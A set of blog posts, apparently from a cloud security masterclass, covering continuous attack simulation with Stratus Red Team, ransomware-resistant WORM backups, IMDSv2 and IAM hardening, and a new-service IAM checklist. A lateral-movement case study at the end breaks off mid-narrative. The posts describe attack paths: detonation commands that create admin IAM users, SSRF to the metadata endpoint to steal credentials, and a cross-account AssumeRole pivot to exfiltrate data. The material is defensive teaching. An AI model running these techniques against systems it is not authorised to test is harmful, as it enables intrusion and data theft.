• Continuous security validation means running real attack techniques against your own production-equivalent environment on a schedule, not once a year during a pentest
• stratus-red-team and Atomic Red Team execute specific, mapped MITRE ATT&CK techniques against live cloud infrastructure — the same IMDSv1 exploitation, IAM privilege escalation, and lateral-movement patterns covered earlier in this masterclass, but automated and repeatable
• A validation run that never finds anything is either proof your controls work, or proof the simulation isn’t realistic enough — treat a clean run as a question, not a victory
• Security culture is what determines whether a finding becomes a fixed control or a Jira ticket that ages out — validation without organizational follow-through is theater
• The Feedback Loop closes the masterclass: every module (STRIDE, IAM hardening, immutable data, AI triage) becomes a control that continuous validation actually tests, instead of a design decision nobody revisits
• This module doesn’t introduce new architecture — it’s the mechanism that proves Modules 1 through 5 are still true

Start Here: Run a Real Attack Technique Right Now

# Install Stratus Red Team — cloud-native attack technique simulator
$ brew install datadog/stratus-red-team/stratus-red-team

# List available techniques mapped to MITRE ATT&CK
$ stratus list --platform aws | grep -i iam
aws.credential-access.ec2-get-password-data
aws.privilege-escalation.iam-create-admin-user
aws.persistence.iam-create-user-login-profile

# Warm up (provisions the exact vulnerable-by-default resources
# Module 3 covered), detonate the technique, then clean up
$ stratus warmup aws.privilege-escalation.iam-create-admin-user
$ stratus detonate aws.privilege-escalation.iam-create-admin-user
$ stratus cleanup aws.privilege-escalation.iam-create-admin-user

That third command actually creates an admin IAM user the way an attacker would after a privilege-escalation exploit — against your own account, on a schedule you control, so your detection pipeline either catches it or you now know precisely where the gap is. This is continuous security validation: the difference between assuming GuardDuty would catch this and knowing it does, because you just watched it happen.

Why an Annual Pentest Isn’t Validation

A pentest is a snapshot, scoped to a window, executed by people who leave when the engagement ends. It tells you what was true for the systems in scope, on those specific days, against that specific team’s technique set. Everything this masterclass has covered — STRIDE-driven design changes (Module 2), IAM policy tightening (Module 3), WORM-locked backups (Module 4), AI-assisted triage (Module 5) — happens on a continuous basis, in a system that changes weekly. A control validated once in March and never tested again is a control you’re assuming still works in October.

Continuous security validation closes that gap by running the same specific techniques — not a generic scan, but named, MITRE ATT&CK-mapped attack behaviors — on a recurring schedule, against infrastructure that mirrors production. The goal isn’t finding something new every time. Most runs should find nothing, because most runs are re-confirming a control that was already fixed. That’s the point: continuous validation is regression testing for security posture.

Reading a Clean Run Correctly

A validation run that detonates a technique and triggers no alert is not automatically good news. It’s one of two things, and the difference matters:

 CLEAN RUN — TWO POSSIBLE EXPLANATIONS
 ───────────────────────────────────────────────────
 1. The control genuinely works.
    → GuardDuty/Tetragon/SIEM correctly detected and
      the alert pipeline correctly routed it — verify
      the alert actually fired and reached someone,
      not just that the technique "should have" tripped it.

 2. The simulation didn't actually exercise the real path.
    → Wrong region, wrong IAM role scope, a technique
      that's stale against current cloud provider APIs,
      or detection logic that's technically present but
      misconfigured for this specific technique variant.

Treat every clean run as a question — did the alert fire and get seen, or did nothing happen because nothing was really tested? Pulling the actual GuardDuty/SIEM record for the detonation timestamp and confirming a real alert exists, with the right severity, routed to the right channel, is the only way to tell these two outcomes apart. A validation program that only checks “did an incident occur” without checking “did the alert actually work” is measuring the wrong thing.

Mapping Continuous Security Validation Back to the Masterclass

Continuous validation is most useful when it directly re-tests the specific controls this series built, not a generic attack library run for its own sake:

Running these specific, mapped checks on a schedule — weekly or per-deploy, not annually — is what separates continuous validation from a checklist audit. It’s also directly in the spirit of the attack-and-detect framing this site’s Purple Team series uses throughout: red team technique, blue team detection, purple team is the discipline of running both together on purpose.

The Part Tooling Can’t Fix: Security Culture

A validation run that surfaces a real gap and produces a Jira ticket that sits untouched for two quarters has not improved anything — it’s produced evidence of a known, unfixed gap, which is a worse position than not knowing. Continuous validation only works inside an organization where a finding routes to an owner, gets prioritized against other engineering work honestly (this is Module 2’s DREAD scoring, applied to validation findings instead of design-time threats), and gets re-tested after the fix ships to confirm it actually closed.

The Feedback Loop that closes this masterclass is this: Threat Model (M2) → Harden (M3/M4) → Validate (M6) → feed validation findings back into the next threat model. A gap continuous validation finds isn’t just a bug to fix — it’s a signal that the original threat model missed something, and the next STRIDE pass on that system should account for it explicitly.

Production Gotchas

Running attack simulations against shared/production environments without coordination causes real incidents. Detonating iam-create-admin-user against a live account without warning your own SOC produces a real, confusing incident response — schedule and announce validation runs the same way you’d announce a game day exercise.

Cleanup failures leave real vulnerable resources behind. stratus cleanup can fail silently if a dependent resource was modified mid-run — verify cleanup completed, don’t assume the tool always tears down what it created.

Technique libraries go stale as cloud provider APIs change. A technique written against an older IAM API surface may silently fail to actually reproduce the attack path — validate that a “no alert” result means the control held, not that the technique itself broke.

Validation findings that don’t map to an owning team die in a backlog. Route every finding to the specific service/team whose control failed, the same way you’d route a production incident — a finding owned by “security team, generally” doesn’t get fixed.

Framework Alignment

Key Takeaways

• Continuous security validation runs specific, MITRE ATT&CK-mapped techniques against your own infrastructure on a schedule — not a once-a-year pentest
• A clean run is ambiguous by default — confirm the alert actually fired and routed correctly, don’t assume the absence of an incident means the control worked
• Map validation techniques directly back to the specific controls this masterclass built, not a generic attack library
• Security culture — findings that route to an owner and get re-tested after the fix — is what makes validation matter; tooling alone doesn’t
• The Feedback Loop is the masterclass’s actual conclusion: threat model, harden, validate, and feed what you learn back into the next threat model

What’s Next

That closes the six-module arc: from dismantling the castle-and-moat (Module 1), through systematic threat modeling (Module 2), hardening the cloud identity perimeter (Module 3), surviving ransomware with immutable data (Module 4), accelerating detection with AI (Module 5), to proving all of it actually holds (Module 6). The loop doesn’t end here — every validation finding is the start of the next threat model.

Get new masterclass content and future modules in your inbox → linuxcent.com/subscribe

The post Continuous Security Validation: Proving Your Architecture Works appeared first on Linuxcent.

Zero to Hero: Cybersecurity Architecture Masterclass, Module 4
← Module 3: Cloud-Native Hardening · Module 4: Resilience & Survival · Module 5: The Future of SecOps →

10 min read

A Note on “Immutable” Before We Start

This module and this site’s Immutable OS series both use the word “immutable” and mean two different things. Immutable data architecture (this module) means specific objects — backups, audit logs, compliance records — cannot be altered or deleted for a defined period, even by an administrator. Immutable OS means the operating system’s own root filesystem can’t be mutated in place. They compose well together — an immutable OS keeps the system from drifting, WORM storage keeps your backups from being destroyed — but they solve different problems. This module is about the data.

TL;DR

• Immutable data architecture ransomware defense means backups an attacker with full admin credentials still cannot encrypt, modify, or delete
• WORM (Write Once, Read Many) storage enforces this at the storage layer, not through access control alone — even the AWS root account cannot bypass a properly configured Object Lock in Compliance mode
• Ransomware’s actual target in a modern breach isn’t just your production data — it’s your backups, deleted first so restoration isn’t an option
• S3 Object Lock has two modes: Governance (privileged users can override) and Compliance (nobody can, including AWS support) — know which one your recovery plan actually requires
• Immutable backups turn a ransomware incident from an existential event into an operational one: restore from a known-good, unmodifiable snapshot
• This is Module 1’s Availability pillar taken to its logical conclusion: resilience isn’t just uptime, it’s surviving an attacker who already has your credentials

The Big Picture: Why Ransomware Deletes Backups First

MODERN RANSOMWARE PLAYBOOK
───────────────────────────
1. Gain admin credentials (phishing, leaked keys, supply chain)
2. Enumerate backup systems and snapshots
3. Delete or encrypt backups FIRST — before touching production
4. Encrypt production data
5. Demand ransom — restoration is now impossible without paying

THE ARCHITECTURAL COUNTER
───────────────────────────
1. Backups written to WORM storage (Object Lock: Compliance mode)
2. Retention period set — no identity, including root, can shorten it
3. Attacker gains admin credentials (step 1 above still happens)
4. Attacker tries to delete backups — API call is rejected, unconditionally
5. Production is encrypted, but a known-good, unmodifiable restore point exists

Immutable data architecture accepts a specific, well-documented pattern in modern ransomware: attackers now go after backups first, precisely because most organizations still assume “backups exist” is the same thing as “backups are recoverable.” The breach history covered elsewhere on this site makes clear this isn’t a hypothetical — it’s the standard playbook.

Why Access Control Alone Doesn’t Solve This

The instinctive fix is “restrict who can delete backups.” That helps, but it doesn’t solve the actual problem: modern ransomware doesn’t need to guess a password. It needs one set of valid, sufficiently-privileged credentials — a phished admin, a leaked access key, a compromised CI/CD pipeline with deploy permissions — and from there, it operates as an authorized user. Access control assumes the attacker isn’t already inside the trust boundary. Ransomware’s whole operating model is being inside it.

This is why the fix has to live below IAM, at the storage layer itself: a control that says no identity — not the backup admin, not the root account, not AWS support acting on your behalf — can shorten a retention period or delete a locked object before it expires.

Immutable Data Architecture in Practice: S3 Object Lock and WORM Storage

Write Once, Read Many storage is exactly what the name says: once written, an object can be read indefinitely but never modified or deleted until its retention period expires. AWS implements this via S3 Object Lock, with two distinct modes that most teams don’t realize are meaningfully different until the moment it matters:

 Mode          Who Can Override Before Retention Expires
 ────────────  ───────────────────────────────────────────
 Governance    Users with s3:BypassGovernanceRetention
                permission — a privileged escape hatch
 Compliance    Nobody. Not the bucket owner, not the root
                account, not AWS Support. The retention
                period is a hard floor.

# Enable Object Lock on bucket creation (cannot be added retroactively
# to an existing bucket — this has to be decided up front)
$ aws s3api create-bucket --bucket backup-vault-prod \
    --object-lock-enabled-for-bucket

# Set a default retention rule: 90 days, Compliance mode
$ aws s3api put-object-lock-configuration \
    --bucket backup-vault-prod \
    --object-lock-configuration '{
        "ObjectLockEnabled": "Enabled",
        "Rule": {
          "DefaultRetention": {
            "Mode": "COMPLIANCE",
            "Days": 90
          }
        }
      }'

# Attempt to delete a locked object before retention expires — this fails
# even for the account root user
$ aws s3api delete-object --bucket backup-vault-prod --key snapshot-2026-06-01.tar.gz
An error occurred (AccessDenied) when calling the DeleteObject operation:
Object is WORM protected and cannot be overwritten or deleted.

Governance mode is for internal discipline — preventing accidental deletion, satisfying a policy that “backups shouldn’t be casually removed.” Compliance mode is for surviving an attacker who has your admin credentials — because the whole point is that nobody, including someone who legitimately has s3:*, can shorten it. If your ransomware recovery plan assumes Governance mode is enough, it isn’t: s3:BypassGovernanceRetention is exactly the kind of permission an attacker with admin access already has.

What This Actually Buys You in an Incident

Immutable, WORM-locked backups don’t prevent a ransomware attack. Production still gets encrypted. What changes is what happens next: instead of a negotiation with an attacker who holds your only path back to a working system, recovery is an operational restore from a snapshot that provably cannot have been tampered with — because the storage layer itself refused every attempt to touch it, including from credentials the attacker had legitimately obtained.

This is Module 1’s Availability pillar in its most concrete form. “Multi-AZ deployments and automated failover” protects against infrastructure failure. Immutable backups protect against an adversary who is already inside your trust boundary and trying to remove your ability to recover — a threat model access control alone was never designed to survive.

Production Gotchas

Object Lock must be enabled at bucket creation — it cannot be retroactively added to an existing bucket. If your current backup buckets don’t have it, the fix is a new bucket and a migration, not a configuration change.

Compliance mode retention cannot be shortened or removed once set — including by you. Set the retention period deliberately; a 7-year Compliance-mode lock set by mistake is not reversible, and storage costs accrue for the full period regardless of whether you still need the data.

Versioning must be enabled for Object Lock to work at all. Object Lock operates per-version, not per-key — if versioning is off, Object Lock configuration will fail or behave unexpectedly.

WORM storage doesn’t protect data that was already encrypted before the backup ran. If ransomware encrypts production and then a scheduled backup captures the encrypted state, you now have an immutable copy of garbage. Backup frequency and immutable-copy retention need to overlap with realistic dwell-time assumptions — most ransomware sits undetected for days to weeks before triggering encryption.

Framework Alignment

Key Takeaways

• Modern ransomware deletes backups before encrypting production — assume this is step one of any incident, not a worst case
• Access control isn’t sufficient because ransomware operates with legitimately-obtained, sufficiently-privileged credentials
• WORM storage enforces immutability at the storage layer, independent of identity — Compliance mode specifically survives an attacker with admin access
• Object Lock must be planned before bucket creation and requires versioning enabled
• Immutable backups turn ransomware from an existential event into an operational restore — but only if the backup itself predates the encryption

What’s Next

Module 4 hardened the last line of defense: data that survives even when identity and network controls have already failed. Module 5 turns to the detection side of that same incident — how AI agents and RAG-based pipelines are changing what a SOC can actually find in the log volume a modern cloud environment generates, and where that automation still needs a human in the loop.

Next: Module 5: The Future of SecOps — AI Agents, RAG Pipelines, and Autonomous Triage

Get the full masterclass in your inbox → linuxcent.com/subscribe

The post Immutable Data Architecture: Surviving Ransomware via WORM appeared first on Linuxcent.

Zero to Hero: Cybersecurity Architecture Masterclass, Module 3
← Module 2: Proactive Design · Module 3: Cloud-Native Hardening · Module 4: Resilience & Survival →

12 min read

TL;DR

• Cloud native infrastructure hardening starts from a different assumption than on-prem hardening: there is no network perimeter, only an identity perimeter — every AWS API call is the boundary
• IMDSv1 (the EC2 metadata service without a token) is the single highest-leverage cloud-native hardening fix available — it turned an SSRF bug into the Capital One breach
• IAM policy design is architecture, not IT administration: least privilege, permission boundaries, and SCPs compose into the actual perimeter
• Infrastructure-as-code scanning (checkov, tfsec) catches identity-perimeter mistakes in a pull request instead of in an incident
• aws iam simulate-principal-policy answers “can this role actually do that?” definitively, without waiting to find out in production
• Recommendation: treat IMDSv2 enforcement and IAM least-privilege review as pipeline gates, not periodic audits — the same “build constraint, not process step” principle from the OS Hardening series

The Big Picture: The Perimeter Moved to the API Call

ON-PREM MODEL                          CLOUD-NATIVE MODEL
──────────────                          ──────────────────
Firewall at network edge                No fixed network edge
        │                                        │
Trusted internal subnet                 Every API call carries its
        │                                 own identity + policy
Server assumed safe if                          │
inside the firewall                     IAM evaluates: who is this,
                                          what can they do, right now
                                                 │
                                          Perimeter = the IAM policy
                                          attached to the caller

Cloud-native infrastructure hardening means accepting that the network no longer defines what’s trusted — the AWS identity perimeter, enforced entirely through IAM policy evaluation on every single API call, is the only perimeter that actually exists. Module 1 called this the shift from network-centric to identity-centric trust; this module makes it concrete with the two failures that actually break it in production: a leaky metadata service and an over-permissioned role.

The Breach That Made IMDSv2 Mandatory

In 2019, a misconfigured WAF in front of a bank’s application allowed a Server-Side Request Forgery (SSRF) — an attacker convinced the application server to make an HTTP request to http://169.254.169.254, the EC2 instance metadata endpoint. IMDSv1 answered with no authentication required at all: temporary IAM credentials for the role attached to that instance, handed to anyone who could make the server issue that one request.

Those credentials had read access to S3. The attacker used them to exfiltrate over 100 million customer records. This is the Capital One breach — covered in full in the Purple Team series — and it is the single clearest illustration in cloud history of why “the perimeter is the identity, not the network” isn’t a slogan — it’s a description of exactly where that breach actually happened. The WAF misconfiguration was the entry point. The metadata service handing out credentials with zero verification was the architectural failure that turned an SSRF bug into a 100-million-record breach.

IMDSv2 closes this specific gap by requiring a session token, fetched via a PUT request, before any metadata GET request is honored — and that PUT request cannot be replayed through a typical SSRF, because SSRF vulnerabilities almost always only allow GET-style requests to be forged. This single setting is the highest-leverage cloud-native hardening control available, and it should be enforced at the account level, not left as an opt-in per instance:

# Check whether IMDSv2 is enforced (HttpTokens: required) on an instance
$ aws ec2 describe-instances --instance-ids i-0abc123 \
    --query 'Reservations[].Instances[].MetadataOptions'
{
    "HttpTokens": "required",
    "HttpPutResponseHopLimit": 1,
    "HttpEndpoint": "enabled"
}
# "required" = IMDSv2 only. "optional" = IMDSv1 still works — the gap.

# Enforce it account-wide for all new instances
$ aws ec2 modify-instance-metadata-defaults \
    --http-tokens required --http-put-response-hop-limit 1

IAM Policy Design Is Architecture

If the metadata service is one way the identity perimeter leaks, an over-permissioned IAM policy is the other — and it’s far more common, because it doesn’t require a bug at all. It only requires a policy written with "Resource": "*" because scoping it felt like it would slow down a deploy.

Least privilege means a role can do exactly what its function requires and nothing else — not “read-only across the account,” but “read this specific S3 prefix, write to this specific queue.”

Permission boundaries cap what a role can ever be granted, even by someone with iam:CreatePolicy access — a safety rail against exactly the kind of iam:PassRole privilege escalation covered in the Cloud IAM series, not just against the policy as originally written.

Service Control Policies (SCPs) apply at the AWS Organization level, capping what any role in an account can do regardless of how permissive that account’s own IAM policies are — the outermost layer of the identity perimeter, and the one that survives a single account being compromised.

{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": ["s3:GetObject"],
    "Resource": "arn:aws:s3:::billing-invoices/tenant-4471/*"
  }]
}

That policy can only ever read one tenant’s invoice prefix. Compare it to "Resource": "arn:aws:s3:::billing-invoices/*" — functionally identical for the one use case the developer was testing, and catastrophically different the day this role’s credentials leak.

Quick Check: Can This Role Actually Do That?

Don’t wait to find out in production. aws iam simulate-principal-policy evaluates a specific action against a role’s actual attached and inline policies — including SCPs and permission boundaries — and gives you a definitive allow/deny before anything runs:

$ aws iam simulate-principal-policy \
    --policy-source-arn arn:aws:iam::123456789012:role/billing-api-role \
    --action-names s3:GetObject \
    --resource-arns arn:aws:s3:::billing-invoices/tenant-9982/*

{
  "EvaluationResults": [{
    "EvalActionName": "s3:GetObject",
    "EvalResourceName": "arn:aws:s3:::billing-invoices/tenant-9982/*",
    "EvalDecision": "explicitDeny",     # ← the answer you needed before deploying
    "MatchedStatements": [...]
  }]
}

explicitDeny here means some policy statement — the role’s own policy, a permission boundary, or an SCP — explicitly blocks the action, and that takes precedence over any Allow anywhere else in the policy chain (Module 1’s deny-by-default evaluation model, in practice). Run this simulation as part of code review for any new IAM policy, not after the role is already attached to a running service.

Catching This Before It Ships: Cloud-Native Hardening via IaC Scanning

Manually reviewing every Terraform IAM policy in every pull request doesn’t scale past a handful of engineers. checkov and tfsec scan infrastructure-as-code for exactly the patterns above — wildcard resources, IMDSv1 left enabled, public S3 buckets — as a CI step, before terraform apply ever runs:

$ checkov -d ./terraform --check CKV_AWS_79,CKV_AWS_8

Check: CKV_AWS_79: "Ensure Instance Metadata Service Version 1 is not enabled"
    FAILED for resource: aws_instance.billing_api
    File: main.tf:14-22

Check: CKV_AWS_8: "Ensure IAM policies do not allow full administrative privileges"
    FAILED for resource: aws_iam_role_policy.billing_api_policy
    File: iam.tf:8-15
        Resource: "*"

A failed checkov check blocking a pull request is the identity-perimeter equivalent of Stratum’s pipeline gate refusing to snapshot an unhardened image — the unsafe configuration never reaches an account where it can be exploited, because the check runs before merge, not after an audit finds it months later.

Production Gotchas

IMDSv2 enforcement can break old SDKs and tools silently. Some older AWS SDK versions and third-party agents assume IMDSv1 and simply fail to fetch credentials once HttpTokens: required is set — test in staging before enforcing account-wide.

iam simulate-principal-policy doesn’t account for resource-based policies on the target. It evaluates the principal’s policies correctly, but if the target (an S3 bucket, a KMS key) has its own resource policy denying access, you need simulate-custom-policy with both policies supplied to get the full picture.

SCPs fail closed in a way that’s easy to misdiagnose. An SCP deny produces the same AccessDenied error as a missing IAM permission — check the SCP layer explicitly before assuming the role’s own policy is the problem, or you’ll spend an hour widening a policy that was never the actual blocker.

checkov/tfsec false positives erode trust in the gate fast. Suppress specific, documented exceptions inline (#checkov:skip=CKV_AWS_79:reason) rather than disabling the check account-wide the first time it blocks something legitimate.

Framework Alignment

Key Takeaways

• The identity perimeter, not the network, is what cloud-native hardening actually secures — every IAM policy evaluation is a perimeter check
• IMDSv2 enforcement is the single highest-leverage fix available and should be an account-wide default, not an opt-in
• Least privilege, permission boundaries, and SCPs are three layers of the same perimeter — design all three deliberately, don’t rely on one
• aws iam simulate-principal-policy gives a definitive answer before deployment instead of an incident after
• IaC scanning turns identity-perimeter mistakes into blocked pull requests instead of production findings

What’s Next

Module 3 hardened the identity perimeter against external and lateral threats. Module 4 asks what happens after a perimeter fails anyway — specifically, how immutable, WORM-locked data architecture makes ransomware and mass-deletion attacks survivable even when an attacker has already gotten past every control this module covers.

Next: Module 4: Resilience & Survival — Immutable Data Architecture and Surviving Ransomware via WORM

Get the full masterclass in your inbox → linuxcent.com/subscribe

The post Cloud-Native Hardening: Securing the AWS Identity Perimeter appeared first on Linuxcent.

← EP12: Zero Trust Access in the Cloud · EP13: New-Service IAM Checklist · All Cloud IAM Episodes →

TL;DR

• New cloud service IAM permissions ship on GA day — often before your Terraform provider, internal IaC modules, or team wiki catch up
• The fast path is service:* on Resource: * — the tempting unblock, and also how wildcard debt starts (see EP09’s least-privilege audit)
• Five-step checklist: find the exact actions, scope the resource, dry-run before granting, attach a guardrail, and put a 30-day review on the calendar
• AWS has no single CLI call that lists “every action for a service” — use the Service Authorization Reference plus IAM Access Analyzer’s policy generation from real CloudTrail activity
• GCP’s gcloud iam list-testable-permissions returns the exact permissions grantable on a specific resource — scoped to what that resource type actually supports
• Azure’s az provider operation show --namespace Microsoft.<Service> lists every operation a resource provider exposes, before you write a single role assignment

The Big Picture

  NEW CLOUD SERVICE SHIPS — THE FIRST GRANT DECIDES THE NEXT YEAR

  Provider ships GA
         │
         ▼
  Team requests access ──────► Tempting shortcut: "service:*" on "*"
         │                      (unblocks today, becomes next year's
         │                       wildcard-debt line item in EP09's audit)
         ▼
  STEP 1 — Find the exact actions the task needs
         │   (Service Authorization Reference · list-testable-permissions ·
         │    provider operation show)
         ▼
  STEP 2 — Scope the resource, not the account
         │   (ARN pattern / resource URI / resource group — never "*")
         ▼
  STEP 3 — Dry-run before granting
         │   (simulate-principal-policy · policy-troubleshoot iam · what-if)
         ▼
  STEP 4 — Attach a guardrail, not just a grant
         │   (permission boundary / SCP · Org Policy · Azure Policy)
         ▼
  STEP 5 — Put a 30-day review on the calendar
         │   (provisional access, not permanent — EP09's audit is the
         │    backstop for whatever step 5 misses)
         ▼
  Access granted: scoped, guarded, and time-boxed

Introduction

New cloud service IAM permissions land the same day a provider ships something new — usually before your Terraform provider, your internal enablement docs, or anyone’s muscle memory has caught up. A team wants to use the new service today, and the fastest way to unblock them is a wildcard: service:* on Resource: *. It works immediately. It also never gets revisited.

I’ve seen this pattern enough times across AWS, GCP, and Azure environments to stop treating it as a one-off mistake and start treating it as a predictable failure mode. Every cloud provider ships new services and new API actions on existing services continuously — thousands of changes a year across the big three. IAM has to keep up with all of it, and nobody’s tooling updates same-day. The gap between “the service exists” and “the least-privilege policy for it exists” is where every wildcard grant in your account was born.

This episode is the checklist I use to close that gap before it becomes EP09’s least-privilege audit problem six months later.

Why This Keeps Happening

Cloud providers version their IAM action sets independently of their service launches. A service can go GA with its full action list, then add new actions for a feature shipped three months later — with no changelog most teams are subscribed to. Preview and beta services are worse: action names occasionally change between preview and GA, which means a policy scoped correctly during the beta can silently stop matching after the rename.

None of this is a documentation failure you can fix by reading more carefully. It’s a structural lag between provider release velocity and your policy review cycle. The fix isn’t reading faster — it’s having a checklist that runs the same way every time a new service shows up in a support ticket.

Step 1: Find the Exact Actions the Task Needs

AWS

AWS doesn’t expose a single CLI call that lists “every action for this service.” The two real sources:

1. The Service Authorization Reference — the canonical, per-service action/resource/condition-key list. Not a CLI, but the ground truth.
2. IAM Access Analyzer’s policy generation — build a least-privilege policy from what a role actually called, not from the full service action list:

# Let a trial role use the new service for a short period first, then generate
# a policy scoped to only the actions that were actually invoked
aws accessanalyzer start-policy-generation \
  --policy-generation-details principalArn=arn:aws:iam::123456789012:role/new-service-trial-role \
  --cloud-trail-details '{
    "trails": [{"cloudTrailArn": "arn:aws:cloudtrail:us-east-1:123456789012:trail/management-trail", "allRegions": true}],
    "accessRole": "arn:aws:iam::123456789012:role/AccessAnalyzerMonitorRole"
  }'

# Poll for the generated policy once the job completes
aws accessanalyzer get-generated-policy --job-id <JOB_ID>

For operators: this generates a policy from observed API calls, not theoretical need. Run the trial role for long enough to exercise every code path the team actually uses — a policy generated from five minutes of testing will be too narrow for production.

GCP

# Returns the exact permissions that CAN be granted on this specific resource —
# scoped to what that resource type supports, not the whole service
gcloud iam list-testable-permissions \
  //aiplatform.googleapis.com/projects/my-project/locations/us-central1

Reading the output: each returned permission is one your team might plausibly need — GCP won’t list permissions that don’t apply to this resource type. Cross-reference against the task at hand and grant only the subset actually required.

Azure

# Lists every operation (permission) a resource provider namespace exposes
az provider operation show \
  --namespace Microsoft.CognitiveServices \
  --query "[].{Operation:name, Description:display.description}" \
  -o table

This is the full menu for the namespace — most tasks need a handful of these operations, not all of them. Use it to find the exact operation string for a custom role definition rather than reaching for a built-in Contributor-level role.

Step 2: Scope the Resource, Not the Account

Finding the right action is half the job. The other half is refusing "Resource": "*".

// Bad — every foundation model, in every region, forever
{
  "Effect": "Allow",
  "Action": "bedrock:*",
  "Resource": "*"
}

// Better — scoped to the specific model family the team asked for
{
  "Effect": "Allow",
  "Action": ["bedrock:InvokeModel"],
  "Resource": "arn:aws:bedrock:us-east-1::foundation-model/anthropic.claude*"
}

The same discipline applies in GCP (bind the role to the specific project or resource, not the organization) and Azure (scope the role assignment to the resource group, not the subscription). A new service is the easiest moment to get this right — there’s no existing wildcard grant to “just extend.”

Step 3: Dry-Run Before You Grant

Test the policy against the real action before it’s live.

# AWS: simulate whether a principal's policy allows a specific action on a specific resource
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::123456789012:role/new-service-role \
  --action-names bedrock:InvokeModel \
  --resource-arns arn:aws:bedrock:us-east-1::foundation-model/anthropic.claude-v2

# GCP: Policy Troubleshooter — does this principal have this permission on this resource, and why (or why not)?
gcloud policy-troubleshoot iam \
  //aiplatform.googleapis.com/projects/my-project/locations/us-central1 \
  --principal-email=svc-new-service@my-project.iam.gserviceaccount.com \
  --permission=aiplatform.endpoints.predict

# Azure: preview what an IaC deployment (including role assignments) will change before applying it
az deployment group what-if \
  --resource-group rg-new-service \
  --template-file role-assignment.bicep

None of these grant access. All three tell you, before the grant is live, whether the policy you wrote actually does what you think it does.

Step 4: Attach a Guardrail, Not Just a Grant

A grant without a guardrail is one typo away from being an account-wide wildcard. Pair every new-service grant with a boundary that survives the next person copy-pasting the policy:

• AWS — a permission boundary on the role, or an SCP restricting the new service to specific OUs until it’s been reviewed
• GCP — an Org Policy constraint limiting resource locations or restricting which services can be enabled in the first place
• Azure — an Azure Policy assignment enforcing an allowed-services list at the subscription or management group level

The guardrail is what keeps “we scoped it correctly on day one” true after the policy gets copied into three other roles by someone who wasn’t in this conversation.

Step 5: Put a 30-Day Review on the Calendar

Treat every new-service grant as provisional, not permanent. A calendar reminder — not a ticket that can sit in a backlog — to check actual usage against granted permissions 30 days out.

This is the same discipline EP09’s least-privilege audit runs at the account level, applied at the moment of grant instead of six months later. Step 5 is what catches the case where the team’s actual usage turned out narrower than the trial period suggested — or wider, because the trial period didn’t exercise every path.

Production Gotchas

Quick Reference

Framework Alignment

Key Takeaways

• New cloud service IAM permissions ship on the provider’s schedule, not yours — the checklist has to run the same way every time, not only when someone remembers
• The fast path (service:* on *) is also the path to next year’s wildcard-debt finding — scope it once, at the point of grant, instead of unwinding it later
• AWS, GCP, and Azure each expose a different tool for discovering exact actions — none of them is “read the whole service’s docs and guess”
• A grant without a guardrail (permission boundary, SCP, Org Policy, Azure Policy) is one copy-paste away from becoming account-wide
• Provisional access needs an expiration built in from day one — a 30-day calendar review, not a hope that someone runs the audit eventually

What’s Next

This series doesn’t have a fixed episode count anymore — new cloud service IAM permissions are a continuous stream across AWS, GCP, and Azure, and this series continues covering them as they matter operationally, not on a fixed syllabus.

Get the next Cloud IAM episode in your inbox → linuxcent.com/subscribe

The post New Cloud Service IAM Permissions: A Checklist Before You Grant Access appeared first on Linuxcent.

What is purple team security? → OWASP Top 10 mapped to cloud infrastructure → Cloud security breaches 2020–2025 → Broken access control in AWS → MFA fatigue attacks → CI/CD secrets exposure → SSRF to cloud metadata → Kubernetes container escape → Supply chain attacks → Cloud Lateral Movement

TL;DR

• Cloud lateral movement IAM is OWASP A01: attackers move between cloud accounts by exploiting cross-account IAM trust relationships — no network pivoting, no exploit, just a valid sts:AssumeRole call
• The structural vulnerability is a trust policy scoped too broadly — arn:aws:iam::DEV_ACCOUNT:root instead of the specific Lambda execution role ARN — which lets any identity in the dev account assume the prod role
• The full attack chain: compromised Lambda in dev account → enumerate cross-account trust policies → aws sts assume-role into prod → access data lake S3 bucket → exfiltrate before detection fires
• CloudTrail is the primary detection surface: AssumeRole events where the principal account ID differs from the resource account ID are the signal; GuardDuty surfaces the pattern as Recon:IAMUser/UserPermissions
• AWS Access Analyzer automatically flags overly-broad cross-account trust policies — it should be running in every account in your organization, not just the management account
• The structural fix is three layers: scope trust policy to the specific source ARN, add ExternalId for confused deputy protection, and use AWS Organizations SCPs to restrict cross-account role assumptions to approved account pairs only

OWASP Mapping: A01 Broken Access Control — cross-account IAM trust policies that specify an entire account root as the principal, instead of a specific role ARN, give any identity in the source account the ability to pivot into the target account.

The Big Picture

┌─────────────────────────────────────────────────────────────────────┐
│               CROSS-ACCOUNT IAM LATERAL MOVEMENT                    │
│                                                                      │
│   DEV ACCOUNT (111111111111)                                         │
│   ┌────────────────────────────────────────────┐                    │
│   │  Lambda: api-processor                     │                    │
│   │  Execution Role: lambda-execution-role     │◄── COMPROMISED     │
│   │                                            │                    │
│   │  Attacker has: access key for this role    │                    │
│   └───────────────────┬────────────────────────┘                    │
│                        │                                             │
│                        │  sts:AssumeRole                             │
│                        │  (cross-account API call)                  │
│                        ▼                                             │
│   ┌─────────────────────────────────────────────┐                   │
│   │  TRUST POLICY CHECK (prod account role)     │                   │
│   │                                             │                   │
│   │  Principal: arn:aws:iam::111111111111:root  │                   │
│   │              ↑ TOO BROAD — any dev identity │                   │
│   └───────────────────┬─────────────────────────┘                   │
│                        │ ALLOW                                       │
│                        ▼                                             │
│   PROD ACCOUNT (222222222222)                                        │
│   ┌────────────────────────────────────────────┐                    │
│   │  Role: datalake-reader                     │                    │
│   │  Access: s3:GetObject on prod-datalake-*   │                    │
│   │          rds:Connect on prod-analytics-db  │                    │
│   │          secretsmanager:GetSecretValue      │                    │
│   └────────────────────┬───────────────────────┘                    │
│                         │                                            │
│                         ▼                                            │
│   customer-data.parquet, analytics schemas, DB credentials          │
│   ← exfiltrated in 23 minutes                                        │
└─────────────────────────────────────────────────────────────────────┘

Cloud lateral movement IAM attacks succeed because the authentication step — the sts:AssumeRole call — works exactly as designed. The Lambda’s identity is valid. The cross-account trust policy explicitly allows it. AWS faithfully issues the temporary credentials. The entire attack is indistinguishable from legitimate application behavior at the API level, which is why the trust policy is the only reliable prevention point.

The Incident: Dev Lambda to Prod Data Lake

Post-breach analysis. The attacker didn’t find a zero-day. They found a GitHub repository.

A developer had committed an .env file to a public repo containing AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY for a Lambda execution role in the dev account. GitHub’s secret scanning flagged it and notified the security team — but the notification arrived 58 minutes after the commit. By then, an automated credential scanner had already found it, validated the keys, and passed them to an attacker.

